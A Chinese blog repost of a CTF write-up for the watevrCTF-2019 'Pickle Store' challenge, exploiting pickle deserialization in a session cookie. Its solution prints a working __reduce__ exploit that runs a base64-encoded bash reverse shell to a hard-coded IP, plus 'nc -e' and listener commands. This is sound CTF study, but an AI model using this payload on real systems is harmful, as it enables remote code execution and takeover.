欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

[watevrCTF-2019]Pickle Store

发布时间:2025/4/16 编程问答 35 豆豆
生活随笔 收集整理的这篇文章主要介绍了 [watevrCTF-2019]Pickle Store 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

目录

  • 思路
  • 题解
  • 总结


思路

先抓个包看看,里面有个session


base64解码后拿到一串乱码,根据题目可以得知考点是pickle反序列化

import base64 import pickleprint(pickle.loads(base64.b64decode("gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu")))


pickle反序列化可以用__reduce__魔术方法来重写里面的方法

在开发时,可以通过重写类的 object.reduce() 函数,使之在被实例化时按照重写的方
式进行。具体而言, python 要求 object.reduce() 返回一个 (callable,
([para1,para2…])[,…]) 的元组,每当该类的对象被 unpickle 时,该 callable 就
会被调用以生成对象(该 callable 其实是构造函数)。

题解

直接拿模板

exp

import base64 import pickleclass shell(object):def __reduce__(self):# bash -i >& /dev/tcp/你的ip/9999 0>&1的base64#不能直接bash -i 0>&1那种写法,因为像是&这些符号 都是linux的shell关键字 会影响他的语法return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash ')",))k = shell() print(base64.b64encode(pickle.dumps(k)))

也可以用nc ip port -e /bin/bash,不过nc -e的主动连接不一定成功 因为他不一定装了nc

然后再你的vps里监听 9999 端口

nc -lvp 9999

把拿到的结果写入cookie发包,成功反弹shell


总结

中途遇到了点问题,连接被拒绝,发现是安全组策略问题,放行一些端口就好了

总结

以上是生活随笔为你收集整理的[watevrCTF-2019]Pickle Store的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。